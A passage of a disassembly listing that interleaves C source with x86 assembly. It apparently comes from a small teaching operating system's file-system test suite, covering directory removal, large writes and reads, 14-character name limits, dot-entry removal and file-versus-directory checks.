2592: 75 17 jne 25ab <subdir+0x62d>
printf(1, "chdir dd/ff succeeded!\n");
2594: 83 ec 08 sub $0x8,%esp
2597: 68 79 51 00 00 push $0x5179
259c: 6a 01 push $0x1
259e: e8 9b 1a 00 00 call 403e <printf>
25a3: 83 c4 10 add $0x10,%esp
exit();
25a6: e8 20 19 00 00 call 3ecb <exit>
}
if(chdir("dd/xx") == 0){
25ab: 83 ec 0c sub $0xc,%esp
25ae: 68 91 51 00 00 push $0x5191
25b3: e8 83 19 00 00 call 3f3b <chdir>
25b8: 83 c4 10 add $0x10,%esp
25bb: 85 c0 test %eax,%eax
25bd: 75 17 jne 25d6 <subdir+0x658>
printf(1, "chdir dd/xx succeeded!\n");
25bf: 83 ec 08 sub $0x8,%esp
25c2: 68 97 51 00 00 push $0x5197
25c7: 6a 01 push $0x1
25c9: e8 70 1a 00 00 call 403e <printf>
25ce: 83 c4 10 add $0x10,%esp
exit();
25d1: e8 f5 18 00 00 call 3ecb <exit>
}
if(unlink("dd/dd/ffff") != 0){
25d6: 83 ec 0c sub $0xc,%esp
25d9: 68 c0 4e 00 00 push $0x4ec0
25de: e8 38 19 00 00 call 3f1b <unlink>
25e3: 83 c4 10 add $0x10,%esp
25e6: 85 c0 test %eax,%eax
25e8: 74 17 je 2601 <subdir+0x683>
printf(1, "unlink dd/dd/ff failed\n");
25ea: 83 ec 08 sub $0x8,%esp
25ed: 68 ed 4e 00 00 push $0x4eed
25f2: 6a 01 push $0x1
25f4: e8 45 1a 00 00 call 403e <printf>
25f9: 83 c4 10 add $0x10,%esp
exit();
25fc: e8 ca 18 00 00 call 3ecb <exit>
}
if(unlink("dd/ff") != 0){
2601: 83 ec 0c sub $0xc,%esp
2604: 68 f8 4d 00 00 push $0x4df8
2609: e8 0d 19 00 00 call 3f1b <unlink>
260e: 83 c4 10 add $0x10,%esp
2611: 85 c0 test %eax,%eax
2613: 74 17 je 262c <subdir+0x6ae>
printf(1, "unlink dd/ff failed\n");
2615: 83 ec 08 sub $0x8,%esp
2618: 68 af 51 00 00 push $0x51af
261d: 6a 01 push $0x1
261f: e8 1a 1a 00 00 call 403e <printf>
2624: 83 c4 10 add $0x10,%esp
exit();
2627: e8 9f 18 00 00 call 3ecb <exit>
}
if(unlink("dd") == 0){
262c: 83 ec 0c sub $0xc,%esp
262f: 68 dd 4d 00 00 push $0x4ddd
2634: e8 e2 18 00 00 call 3f1b <unlink>
2639: 83 c4 10 add $0x10,%esp
263c: 85 c0 test %eax,%eax
263e: 75 17 jne 2657 <subdir+0x6d9>
printf(1, "unlink non-empty dd succeeded!\n");
2640: 83 ec 08 sub $0x8,%esp
2643: 68 c4 51 00 00 push $0x51c4
2648: 6a 01 push $0x1
264a: e8 ef 19 00 00 call 403e <printf>
264f: 83 c4 10 add $0x10,%esp
exit();
2652: e8 74 18 00 00 call 3ecb <exit>
}
if(unlink("dd/dd") < 0){
2657: 83 ec 0c sub $0xc,%esp
265a: 68 e4 51 00 00 push $0x51e4
265f: e8 b7 18 00 00 call 3f1b <unlink>
2664: 83 c4 10 add $0x10,%esp
2667: 85 c0 test %eax,%eax
2669: 79 17 jns 2682 <subdir+0x704>
printf(1, "unlink dd/dd failed\n");
266b: 83 ec 08 sub $0x8,%esp
266e: 68 ea 51 00 00 push $0x51ea
2673: 6a 01 push $0x1
2675: e8 c4 19 00 00 call 403e <printf>
267a: 83 c4 10 add $0x10,%esp
exit();
267d: e8 49 18 00 00 call 3ecb <exit>
}
if(unlink("dd") < 0){
2682: 83 ec 0c sub $0xc,%esp
2685: 68 dd 4d 00 00 push $0x4ddd
268a: e8 8c 18 00 00 call 3f1b <unlink>
268f: 83 c4 10 add $0x10,%esp
2692: 85 c0 test %eax,%eax
2694: 79 17 jns 26ad <subdir+0x72f>
printf(1, "unlink dd failed\n");
2696: 83 ec 08 sub $0x8,%esp
2699: 68 ff 51 00 00 push $0x51ff
269e: 6a 01 push $0x1
26a0: e8 99 19 00 00 call 403e <printf>
26a5: 83 c4 10 add $0x10,%esp
exit();
26a8: e8 1e 18 00 00 call 3ecb <exit>
}
printf(1, "subdir ok\n");
26ad: 83 ec 08 sub $0x8,%esp
26b0: 68 11 52 00 00 push $0x5211
26b5: 6a 01 push $0x1
26b7: e8 82 19 00 00 call 403e <printf>
26bc: 83 c4 10 add $0x10,%esp
}
26bf: 90 nop
26c0: c9 leave
26c1: c3 ret
000026c2 <bigwrite>:
// test writes that are larger than the log.
void
bigwrite(void)
{
26c2: 55 push %ebp
26c3: 89 e5 mov %esp,%ebp
26c5: 83 ec 18 sub $0x18,%esp
int fd, sz;
printf(1, "bigwrite test\n");
26c8: 83 ec 08 sub $0x8,%esp
26cb: 68 1c 52 00 00 push $0x521c
26d0: 6a 01 push $0x1
26d2: e8 67 19 00 00 call 403e <printf>
26d7: 83 c4 10 add $0x10,%esp
unlink("bigwrite");
26da: 83 ec 0c sub $0xc,%esp
26dd: 68 2b 52 00 00 push $0x522b
26e2: e8 34 18 00 00 call 3f1b <unlink>
26e7: 83 c4 10 add $0x10,%esp
for(sz = 499; sz < 12*512; sz += 471){
26ea: c7 45 f4 f3 01 00 00 movl $0x1f3,-0xc(%ebp)
26f1: e9 a8 00 00 00 jmp 279e <bigwrite+0xdc>
fd = open("bigwrite", O_CREATE | O_RDWR);
26f6: 83 ec 08 sub $0x8,%esp
26f9: 68 02 02 00 00 push $0x202
26fe: 68 2b 52 00 00 push $0x522b
2703: e8 03 18 00 00 call 3f0b <open>
2708: 83 c4 10 add $0x10,%esp
270b: 89 45 ec mov %eax,-0x14(%ebp)
if(fd < 0){
270e: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
2712: 79 17 jns 272b <bigwrite+0x69>
printf(1, "cannot create bigwrite\n");
2714: 83 ec 08 sub $0x8,%esp
2717: 68 34 52 00 00 push $0x5234
271c: 6a 01 push $0x1
271e: e8 1b 19 00 00 call 403e <printf>
2723: 83 c4 10 add $0x10,%esp
exit();
2726: e8 a0 17 00 00 call 3ecb <exit>
}
int i;
for(i = 0; i < 2; i++){
272b: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
2732: eb 3f jmp 2773 <bigwrite+0xb1>
int cc = write(fd, buf, sz);
2734: 83 ec 04 sub $0x4,%esp
2737: ff 75 f4 pushl -0xc(%ebp)
273a: 68 a0 8a 00 00 push $0x8aa0
273f: ff 75 ec pushl -0x14(%ebp)
2742: e8 a4 17 00 00 call 3eeb <write>
2747: 83 c4 10 add $0x10,%esp
274a: 89 45 e8 mov %eax,-0x18(%ebp)
if(cc != sz){
274d: 8b 45 e8 mov -0x18(%ebp),%eax
2750: 3b 45 f4 cmp -0xc(%ebp),%eax
2753: 74 1a je 276f <bigwrite+0xad>
printf(1, "write(%d) ret %d\n", sz, cc);
2755: ff 75 e8 pushl -0x18(%ebp)
2758: ff 75 f4 pushl -0xc(%ebp)
275b: 68 4c 52 00 00 push $0x524c
2760: 6a 01 push $0x1
2762: e8 d7 18 00 00 call 403e <printf>
2767: 83 c4 10 add $0x10,%esp
exit();
276a: e8 5c 17 00 00 call 3ecb <exit>
for(i = 0; i < 2; i++){
276f: 83 45 f0 01 addl $0x1,-0x10(%ebp)
2773: 83 7d f0 01 cmpl $0x1,-0x10(%ebp)
2777: 7e bb jle 2734 <bigwrite+0x72>
}
}
close(fd);
2779: 83 ec 0c sub $0xc,%esp
277c: ff 75 ec pushl -0x14(%ebp)
277f: e8 6f 17 00 00 call 3ef3 <close>
2784: 83 c4 10 add $0x10,%esp
unlink("bigwrite");
2787: 83 ec 0c sub $0xc,%esp
278a: 68 2b 52 00 00 push $0x522b
278f: e8 87 17 00 00 call 3f1b <unlink>
2794: 83 c4 10 add $0x10,%esp
for(sz = 499; sz < 12*512; sz += 471){
2797: 81 45 f4 d7 01 00 00 addl $0x1d7,-0xc(%ebp)
279e: 81 7d f4 ff 17 00 00 cmpl $0x17ff,-0xc(%ebp)
27a5: 0f 8e 4b ff ff ff jle 26f6 <bigwrite+0x34>
}
printf(1, "bigwrite ok\n");
27ab: 83 ec 08 sub $0x8,%esp
27ae: 68 5e 52 00 00 push $0x525e
27b3: 6a 01 push $0x1
27b5: e8 84 18 00 00 call 403e <printf>
27ba: 83 c4 10 add $0x10,%esp
}
27bd: 90 nop
27be: c9 leave
27bf: c3 ret
000027c0 <bigfile>:
void
bigfile(void)
{
27c0: 55 push %ebp
27c1: 89 e5 mov %esp,%ebp
27c3: 83 ec 18 sub $0x18,%esp
int fd, i, total, cc;
printf(1, "bigfile test\n");
27c6: 83 ec 08 sub $0x8,%esp
27c9: 68 6b 52 00 00 push $0x526b
27ce: 6a 01 push $0x1
27d0: e8 69 18 00 00 call 403e <printf>
27d5: 83 c4 10 add $0x10,%esp
unlink("bigfile");
27d8: 83 ec 0c sub $0xc,%esp
27db: 68 79 52 00 00 push $0x5279
27e0: e8 36 17 00 00 call 3f1b <unlink>
27e5: 83 c4 10 add $0x10,%esp
fd = open("bigfile", O_CREATE | O_RDWR);
27e8: 83 ec 08 sub $0x8,%esp
27eb: 68 02 02 00 00 push $0x202
27f0: 68 79 52 00 00 push $0x5279
27f5: e8 11 17 00 00 call 3f0b <open>
27fa: 83 c4 10 add $0x10,%esp
27fd: 89 45 ec mov %eax,-0x14(%ebp)
if(fd < 0){
2800: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
2804: 79 17 jns 281d <bigfile+0x5d>
printf(1, "cannot create bigfile");
2806: 83 ec 08 sub $0x8,%esp
2809: 68 81 52 00 00 push $0x5281
280e: 6a 01 push $0x1
2810: e8 29 18 00 00 call 403e <printf>
2815: 83 c4 10 add $0x10,%esp
exit();
2818: e8 ae 16 00 00 call 3ecb <exit>
}
for(i = 0; i < 20; i++){
281d: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
2824: eb 52 jmp 2878 <bigfile+0xb8>
memset(buf, i, 600);
2826: 83 ec 04 sub $0x4,%esp
2829: 68 58 02 00 00 push $0x258
282e: ff 75 f4 pushl -0xc(%ebp)
2831: 68 a0 8a 00 00 push $0x8aa0
2836: e8 f5 14 00 00 call 3d30 <memset>
283b: 83 c4 10 add $0x10,%esp
if(write(fd, buf, 600) != 600){
283e: 83 ec 04 sub $0x4,%esp
2841: 68 58 02 00 00 push $0x258
2846: 68 a0 8a 00 00 push $0x8aa0
284b: ff 75 ec pushl -0x14(%ebp)
284e: e8 98 16 00 00 call 3eeb <write>
2853: 83 c4 10 add $0x10,%esp
2856: 3d 58 02 00 00 cmp $0x258,%eax
285b: 74 17 je 2874 <bigfile+0xb4>
printf(1, "write bigfile failed\n");
285d: 83 ec 08 sub $0x8,%esp
2860: 68 97 52 00 00 push $0x5297
2865: 6a 01 push $0x1
2867: e8 d2 17 00 00 call 403e <printf>
286c: 83 c4 10 add $0x10,%esp
exit();
286f: e8 57 16 00 00 call 3ecb <exit>
for(i = 0; i < 20; i++){
2874: 83 45 f4 01 addl $0x1,-0xc(%ebp)
2878: 83 7d f4 13 cmpl $0x13,-0xc(%ebp)
287c: 7e a8 jle 2826 <bigfile+0x66>
}
}
close(fd);
287e: 83 ec 0c sub $0xc,%esp
2881: ff 75 ec pushl -0x14(%ebp)
2884: e8 6a 16 00 00 call 3ef3 <close>
2889: 83 c4 10 add $0x10,%esp
fd = open("bigfile", 0);
288c: 83 ec 08 sub $0x8,%esp
288f: 6a 00 push $0x0
2891: 68 79 52 00 00 push $0x5279
2896: e8 70 16 00 00 call 3f0b <open>
289b: 83 c4 10 add $0x10,%esp
289e: 89 45 ec mov %eax,-0x14(%ebp)
if(fd < 0){
28a1: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
28a5: 79 17 jns 28be <bigfile+0xfe>
printf(1, "cannot open bigfile\n");
28a7: 83 ec 08 sub $0x8,%esp
28aa: 68 ad 52 00 00 push $0x52ad
28af: 6a 01 push $0x1
28b1: e8 88 17 00 00 call 403e <printf>
28b6: 83 c4 10 add $0x10,%esp
exit();
28b9: e8 0d 16 00 00 call 3ecb <exit>
}
total = 0;
28be: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
for(i = 0; ; i++){
28c5: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
cc = read(fd, buf, 300);
28cc: 83 ec 04 sub $0x4,%esp
28cf: 68 2c 01 00 00 push $0x12c
28d4: 68 a0 8a 00 00 push $0x8aa0
28d9: ff 75 ec pushl -0x14(%ebp)
28dc: e8 02 16 00 00 call 3ee3 <read>
28e1: 83 c4 10 add $0x10,%esp
28e4: 89 45 e8 mov %eax,-0x18(%ebp)
if(cc < 0){
28e7: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
28eb: 79 17 jns 2904 <bigfile+0x144>
printf(1, "read bigfile failed\n");
28ed: 83 ec 08 sub $0x8,%esp
28f0: 68 c2 52 00 00 push $0x52c2
28f5: 6a 01 push $0x1
28f7: e8 42 17 00 00 call 403e <printf>
28fc: 83 c4 10 add $0x10,%esp
exit();
28ff: e8 c7 15 00 00 call 3ecb <exit>
}
if(cc == 0)
2904: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
2908: 74 7a je 2984 <bigfile+0x1c4>
break;
if(cc != 300){
290a: 81 7d e8 2c 01 00 00 cmpl $0x12c,-0x18(%ebp)
2911: 74 17 je 292a <bigfile+0x16a>
printf(1, "short read bigfile\n");
2913: 83 ec 08 sub $0x8,%esp
2916: 68 d7 52 00 00 push $0x52d7
291b: 6a 01 push $0x1
291d: e8 1c 17 00 00 call 403e <printf>
2922: 83 c4 10 add $0x10,%esp
exit();
2925: e8 a1 15 00 00 call 3ecb <exit>
}
if(buf[0] != i/2 || buf[299] != i/2){
292a: 0f b6 05 a0 8a 00 00 movzbl 0x8aa0,%eax
2931: 0f be d0 movsbl %al,%edx
2934: 8b 45 f4 mov -0xc(%ebp),%eax
2937: 89 c1 mov %eax,%ecx
2939: c1 e9 1f shr $0x1f,%ecx
293c: 01 c8 add %ecx,%eax
293e: d1 f8 sar %eax
2940: 39 c2 cmp %eax,%edx
2942: 75 1a jne 295e <bigfile+0x19e>
2944: 0f b6 05 cb 8b 00 00 movzbl 0x8bcb,%eax
294b: 0f be d0 movsbl %al,%edx
294e: 8b 45 f4 mov -0xc(%ebp),%eax
2951: 89 c1 mov %eax,%ecx
2953: c1 e9 1f shr $0x1f,%ecx
2956: 01 c8 add %ecx,%eax
2958: d1 f8 sar %eax
295a: 39 c2 cmp %eax,%edx
295c: 74 17 je 2975 <bigfile+0x1b5>
printf(1, "read bigfile wrong data\n");
295e: 83 ec 08 sub $0x8,%esp
2961: 68 eb 52 00 00 push $0x52eb
2966: 6a 01 push $0x1
2968: e8 d1 16 00 00 call 403e <printf>
296d: 83 c4 10 add $0x10,%esp
exit();
2970: e8 56 15 00 00 call 3ecb <exit>
}
total += cc;
2975: 8b 45 e8 mov -0x18(%ebp),%eax
2978: 01 45 f0 add %eax,-0x10(%ebp)
for(i = 0; ; i++){
297b: 83 45 f4 01 addl $0x1,-0xc(%ebp)
cc = read(fd, buf, 300);
297f: e9 48 ff ff ff jmp 28cc <bigfile+0x10c>
break;
2984: 90 nop
}
close(fd);
2985: 83 ec 0c sub $0xc,%esp
2988: ff 75 ec pushl -0x14(%ebp)
298b: e8 63 15 00 00 call 3ef3 <close>
2990: 83 c4 10 add $0x10,%esp
if(total != 20*600){
2993: 81 7d f0 e0 2e 00 00 cmpl $0x2ee0,-0x10(%ebp)
299a: 74 17 je 29b3 <bigfile+0x1f3>
printf(1, "read bigfile wrong total\n");
299c: 83 ec 08 sub $0x8,%esp
299f: 68 04 53 00 00 push $0x5304
29a4: 6a 01 push $0x1
29a6: e8 93 16 00 00 call 403e <printf>
29ab: 83 c4 10 add $0x10,%esp
exit();
29ae: e8 18 15 00 00 call 3ecb <exit>
}
unlink("bigfile");
29b3: 83 ec 0c sub $0xc,%esp
29b6: 68 79 52 00 00 push $0x5279
29bb: e8 5b 15 00 00 call 3f1b <unlink>
29c0: 83 c4 10 add $0x10,%esp
printf(1, "bigfile test ok\n");
29c3: 83 ec 08 sub $0x8,%esp
29c6: 68 1e 53 00 00 push $0x531e
29cb: 6a 01 push $0x1
29cd: e8 6c 16 00 00 call 403e <printf>
29d2: 83 c4 10 add $0x10,%esp
}
29d5: 90 nop
29d6: c9 leave
29d7: c3 ret
000029d8 <fourteen>:
void
fourteen(void)
{
29d8: 55 push %ebp
29d9: 89 e5 mov %esp,%ebp
29db: 83 ec 18 sub $0x18,%esp
int fd;
// DIRSIZ is 14.
printf(1, "fourteen test\n");
29de: 83 ec 08 sub $0x8,%esp
29e1: 68 2f 53 00 00 push $0x532f
29e6: 6a 01 push $0x1
29e8: e8 51 16 00 00 call 403e <printf>
29ed: 83 c4 10 add $0x10,%esp
if(mkdir("12345678901234") != 0){
29f0: 83 ec 0c sub $0xc,%esp
29f3: 68 3e 53 00 00 push $0x533e
29f8: e8 36 15 00 00 call 3f33 <mkdir>
29fd: 83 c4 10 add $0x10,%esp
2a00: 85 c0 test %eax,%eax
2a02: 74 17 je 2a1b <fourteen+0x43>
printf(1, "mkdir 12345678901234 failed\n");
2a04: 83 ec 08 sub $0x8,%esp
2a07: 68 4d 53 00 00 push $0x534d
2a0c: 6a 01 push $0x1
2a0e: e8 2b 16 00 00 call 403e <printf>
2a13: 83 c4 10 add $0x10,%esp
exit();
2a16: e8 b0 14 00 00 call 3ecb <exit>
}
if(mkdir("12345678901234/123456789012345") != 0){
2a1b: 83 ec 0c sub $0xc,%esp
2a1e: 68 6c 53 00 00 push $0x536c
2a23: e8 0b 15 00 00 call 3f33 <mkdir>
2a28: 83 c4 10 add $0x10,%esp
2a2b: 85 c0 test %eax,%eax
2a2d: 74 17 je 2a46 <fourteen+0x6e>
printf(1, "mkdir 12345678901234/123456789012345 failed\n");
2a2f: 83 ec 08 sub $0x8,%esp
2a32: 68 8c 53 00 00 push $0x538c
2a37: 6a 01 push $0x1
2a39: e8 00 16 00 00 call 403e <printf>
2a3e: 83 c4 10 add $0x10,%esp
exit();
2a41: e8 85 14 00 00 call 3ecb <exit>
}
fd = open("123456789012345/123456789012345/123456789012345", O_CREATE);
2a46: 83 ec 08 sub $0x8,%esp
2a49: 68 00 02 00 00 push $0x200
2a4e: 68 bc 53 00 00 push $0x53bc
2a53: e8 b3 14 00 00 call 3f0b <open>
2a58: 83 c4 10 add $0x10,%esp
2a5b: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
2a5e: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
2a62: 79 17 jns 2a7b <fourteen+0xa3>
printf(1, "create 123456789012345/123456789012345/123456789012345 failed\n");
2a64: 83 ec 08 sub $0x8,%esp
2a67: 68 ec 53 00 00 push $0x53ec
2a6c: 6a 01 push $0x1
2a6e: e8 cb 15 00 00 call 403e <printf>
2a73: 83 c4 10 add $0x10,%esp
exit();
2a76: e8 50 14 00 00 call 3ecb <exit>
}
close(fd);
2a7b: 83 ec 0c sub $0xc,%esp
2a7e: ff 75 f4 pushl -0xc(%ebp)
2a81: e8 6d 14 00 00 call 3ef3 <close>
2a86: 83 c4 10 add $0x10,%esp
fd = open("12345678901234/12345678901234/12345678901234", 0);
2a89: 83 ec 08 sub $0x8,%esp
2a8c: 6a 00 push $0x0
2a8e: 68 2c 54 00 00 push $0x542c
2a93: e8 73 14 00 00 call 3f0b <open>
2a98: 83 c4 10 add $0x10,%esp
2a9b: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
2a9e: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
2aa2: 79 17 jns 2abb <fourteen+0xe3>
printf(1, "open 12345678901234/12345678901234/12345678901234 failed\n");
2aa4: 83 ec 08 sub $0x8,%esp
2aa7: 68 5c 54 00 00 push $0x545c
2aac: 6a 01 push $0x1
2aae: e8 8b 15 00 00 call 403e <printf>
2ab3: 83 c4 10 add $0x10,%esp
exit();
2ab6: e8 10 14 00 00 call 3ecb <exit>
}
close(fd);
2abb: 83 ec 0c sub $0xc,%esp
2abe: ff 75 f4 pushl -0xc(%ebp)
2ac1: e8 2d 14 00 00 call 3ef3 <close>
2ac6: 83 c4 10 add $0x10,%esp
if(mkdir("12345678901234/12345678901234") == 0){
2ac9: 83 ec 0c sub $0xc,%esp
2acc: 68 96 54 00 00 push $0x5496
2ad1: e8 5d 14 00 00 call 3f33 <mkdir>
2ad6: 83 c4 10 add $0x10,%esp
2ad9: 85 c0 test %eax,%eax
2adb: 75 17 jne 2af4 <fourteen+0x11c>
printf(1, "mkdir 12345678901234/12345678901234 succeeded!\n");
2add: 83 ec 08 sub $0x8,%esp
2ae0: 68 b4 54 00 00 push $0x54b4
2ae5: 6a 01 push $0x1
2ae7: e8 52 15 00 00 call 403e <printf>
2aec: 83 c4 10 add $0x10,%esp
exit();
2aef: e8 d7 13 00 00 call 3ecb <exit>
}
if(mkdir("123456789012345/12345678901234") == 0){
2af4: 83 ec 0c sub $0xc,%esp
2af7: 68 e4 54 00 00 push $0x54e4
2afc: e8 32 14 00 00 call 3f33 <mkdir>
2b01: 83 c4 10 add $0x10,%esp
2b04: 85 c0 test %eax,%eax
2b06: 75 17 jne 2b1f <fourteen+0x147>
printf(1, "mkdir 12345678901234/123456789012345 succeeded!\n");
2b08: 83 ec 08 sub $0x8,%esp
2b0b: 68 04 55 00 00 push $0x5504
2b10: 6a 01 push $0x1
2b12: e8 27 15 00 00 call 403e <printf>
2b17: 83 c4 10 add $0x10,%esp
exit();
2b1a: e8 ac 13 00 00 call 3ecb <exit>
}
printf(1, "fourteen ok\n");
2b1f: 83 ec 08 sub $0x8,%esp
2b22: 68 35 55 00 00 push $0x5535
2b27: 6a 01 push $0x1
2b29: e8 10 15 00 00 call 403e <printf>
2b2e: 83 c4 10 add $0x10,%esp
}
2b31: 90 nop
2b32: c9 leave
2b33: c3 ret
00002b34 <rmdot>:
void
rmdot(void)
{
2b34: 55 push %ebp
2b35: 89 e5 mov %esp,%ebp
2b37: 83 ec 08 sub $0x8,%esp
printf(1, "rmdot test\n");
2b3a: 83 ec 08 sub $0x8,%esp
2b3d: 68 42 55 00 00 push $0x5542
2b42: 6a 01 push $0x1
2b44: e8 f5 14 00 00 call 403e <printf>
2b49: 83 c4 10 add $0x10,%esp
if(mkdir("dots") != 0){
2b4c: 83 ec 0c sub $0xc,%esp
2b4f: 68 4e 55 00 00 push $0x554e
2b54: e8 da 13 00 00 call 3f33 <mkdir>
2b59: 83 c4 10 add $0x10,%esp
2b5c: 85 c0 test %eax,%eax
2b5e: 74 17 je 2b77 <rmdot+0x43>
printf(1, "mkdir dots failed\n");
2b60: 83 ec 08 sub $0x8,%esp
2b63: 68 53 55 00 00 push $0x5553
2b68: 6a 01 push $0x1
2b6a: e8 cf 14 00 00 call 403e <printf>
2b6f: 83 c4 10 add $0x10,%esp
exit();
2b72: e8 54 13 00 00 call 3ecb <exit>
}
if(chdir("dots") != 0){
2b77: 83 ec 0c sub $0xc,%esp
2b7a: 68 4e 55 00 00 push $0x554e
2b7f: e8 b7 13 00 00 call 3f3b <chdir>
2b84: 83 c4 10 add $0x10,%esp
2b87: 85 c0 test %eax,%eax
2b89: 74 17 je 2ba2 <rmdot+0x6e>
printf(1, "chdir dots failed\n");
2b8b: 83 ec 08 sub $0x8,%esp
2b8e: 68 66 55 00 00 push $0x5566
2b93: 6a 01 push $0x1
2b95: e8 a4 14 00 00 call 403e <printf>
2b9a: 83 c4 10 add $0x10,%esp
exit();
2b9d: e8 29 13 00 00 call 3ecb <exit>
}
if(unlink(".") == 0){
2ba2: 83 ec 0c sub $0xc,%esp
2ba5: 68 7f 4c 00 00 push $0x4c7f
2baa: e8 6c 13 00 00 call 3f1b <unlink>
2baf: 83 c4 10 add $0x10,%esp
2bb2: 85 c0 test %eax,%eax
2bb4: 75 17 jne 2bcd <rmdot+0x99>
printf(1, "rm . worked!\n");
2bb6: 83 ec 08 sub $0x8,%esp
2bb9: 68 79 55 00 00 push $0x5579
2bbe: 6a 01 push $0x1
2bc0: e8 79 14 00 00 call 403e <printf>
2bc5: 83 c4 10 add $0x10,%esp
exit();
2bc8: e8 fe 12 00 00 call 3ecb <exit>
}
if(unlink("..") == 0){
2bcd: 83 ec 0c sub $0xc,%esp
2bd0: 68 12 48 00 00 push $0x4812
2bd5: e8 41 13 00 00 call 3f1b <unlink>
2bda: 83 c4 10 add $0x10,%esp
2bdd: 85 c0 test %eax,%eax
2bdf: 75 17 jne 2bf8 <rmdot+0xc4>
printf(1, "rm .. worked!\n");
2be1: 83 ec 08 sub $0x8,%esp
2be4: 68 87 55 00 00 push $0x5587
2be9: 6a 01 push $0x1
2beb: e8 4e 14 00 00 call 403e <printf>
2bf0: 83 c4 10 add $0x10,%esp
exit();
2bf3: e8 d3 12 00 00 call 3ecb <exit>
}
if(chdir("/") != 0){
2bf8: 83 ec 0c sub $0xc,%esp
2bfb: 68 66 44 00 00 push $0x4466
2c00: e8 36 13 00 00 call 3f3b <chdir>
2c05: 83 c4 10 add $0x10,%esp
2c08: 85 c0 test %eax,%eax
2c0a: 74 17 je 2c23 <rmdot+0xef>
printf(1, "chdir / failed\n");
2c0c: 83 ec 08 sub $0x8,%esp
2c0f: 68 68 44 00 00 push $0x4468
2c14: 6a 01 push $0x1
2c16: e8 23 14 00 00 call 403e <printf>
2c1b: 83 c4 10 add $0x10,%esp
exit();
2c1e: e8 a8 12 00 00 call 3ecb <exit>
}
if(unlink("dots/.") == 0){
2c23: 83 ec 0c sub $0xc,%esp
2c26: 68 96 55 00 00 push $0x5596
2c2b: e8 eb 12 00 00 call 3f1b <unlink>
2c30: 83 c4 10 add $0x10,%esp
2c33: 85 c0 test %eax,%eax
2c35: 75 17 jne 2c4e <rmdot+0x11a>
printf(1, "unlink dots/. worked!\n");
2c37: 83 ec 08 sub $0x8,%esp
2c3a: 68 9d 55 00 00 push $0x559d
2c3f: 6a 01 push $0x1
2c41: e8 f8 13 00 00 call 403e <printf>
2c46: 83 c4 10 add $0x10,%esp
exit();
2c49: e8 7d 12 00 00 call 3ecb <exit>
}
if(unlink("dots/..") == 0){
2c4e: 83 ec 0c sub $0xc,%esp
2c51: 68 b4 55 00 00 push $0x55b4
2c56: e8 c0 12 00 00 call 3f1b <unlink>
2c5b: 83 c4 10 add $0x10,%esp
2c5e: 85 c0 test %eax,%eax
2c60: 75 17 jne 2c79 <rmdot+0x145>
printf(1, "unlink dots/.. worked!\n");
2c62: 83 ec 08 sub $0x8,%esp
2c65: 68 bc 55 00 00 push $0x55bc
2c6a: 6a 01 push $0x1
2c6c: e8 cd 13 00 00 call 403e <printf>
2c71: 83 c4 10 add $0x10,%esp
exit();
2c74: e8 52 12 00 00 call 3ecb <exit>
}
if(unlink("dots") != 0){
2c79: 83 ec 0c sub $0xc,%esp
2c7c: 68 4e 55 00 00 push $0x554e
2c81: e8 95 12 00 00 call 3f1b <unlink>
2c86: 83 c4 10 add $0x10,%esp
2c89: 85 c0 test %eax,%eax
2c8b: 74 17 je 2ca4 <rmdot+0x170>
printf(1, "unlink dots failed!\n");
2c8d: 83 ec 08 sub $0x8,%esp
2c90: 68 d4 55 00 00 push $0x55d4
2c95: 6a 01 push $0x1
2c97: e8 a2 13 00 00 call 403e <printf>
2c9c: 83 c4 10 add $0x10,%esp
exit();
2c9f: e8 27 12 00 00 call 3ecb <exit>
}
printf(1, "rmdot ok\n");
2ca4: 83 ec 08 sub $0x8,%esp
2ca7: 68 e9 55 00 00 push $0x55e9
2cac: 6a 01 push $0x1
2cae: e8 8b 13 00 00 call 403e <printf>
2cb3: 83 c4 10 add $0x10,%esp
}
2cb6: 90 nop
2cb7: c9 leave
2cb8: c3 ret
00002cb9 <dirfile>:
void
dirfile(void)
{
2cb9: 55 push %ebp
2cba: 89 e5 mov %esp,%ebp
2cbc: 83 ec 18 sub $0x18,%esp
int fd;
printf(1, "dir vs file\n");
2cbf: 83 ec 08 sub $0x8,%esp
2cc2: 68 f3 55 00 00 push $0x55f3
2cc7: 6a 01 push $0x1
2cc9: e8 70 13 00 00 call 403e <printf>
2cce: 83 c4 10 add $0x10,%esp
fd = open("dirfile", O_CREATE);
2cd1: 83 ec 08 sub $0x8,%esp
2cd4: 68 00 02 00 00 push $0x200
2cd9: 68 00 56 00 00 push $0x5600
2cde: e8 28 12 00 00 call 3f0b <open>
2ce3: 83 c4 10 add $0x10,%esp
2ce6: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
2ce9: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
2ced: 79 17 jns 2d06 <dirfile+0x4d>
printf(1, "create dirfile failed\n");
2cef: 83 ec 08 sub $0x8,%esp
2cf2: 68 08 56 00 00 push $0x5608
2cf7: 6a 01 push $0x1
2cf9: e8 40 13 00 00 call 403e <printf>
2cfe: 83 c4 10 add $0x10,%esp
exit();
2d01: e8 c5 11 00 00 call 3ecb <exit>
}
close(fd);
2d06: 83 ec 0c sub $0xc,%esp
2d09: ff 75 f4 pushl -0xc(%ebp)
2d0c: e8 e2 11 00 00 call 3ef3 <close>
2d11: 83 c4 10 add $0x10,%esp
if(chdir("dirfile") == 0){
2d14: 83 ec 0c sub $0xc,%esp
2d17: 68 00 56 00 00 push $0x5600
2d1c: e8 1a 12 00 00 call 3f3b <chdir>
2d21: 83 c4 10 add $0x10,%esp
2d24: 85 c0 test %eax,%eax
2d26: 75 17 jne 2d3f <dirfile+0x86>
printf(1, "chdir dirfile succeeded!\n");
2d28: 83 ec 08 sub $0x8,%esp
2d2b: 68 1f 56 00 00 push $0x561f
2d30: 6a 01 push $0x1
2d32: e8 07 13 00 00 call 403e <printf>
2d37: 83 c4 10 add $0x10,%esp
exit();
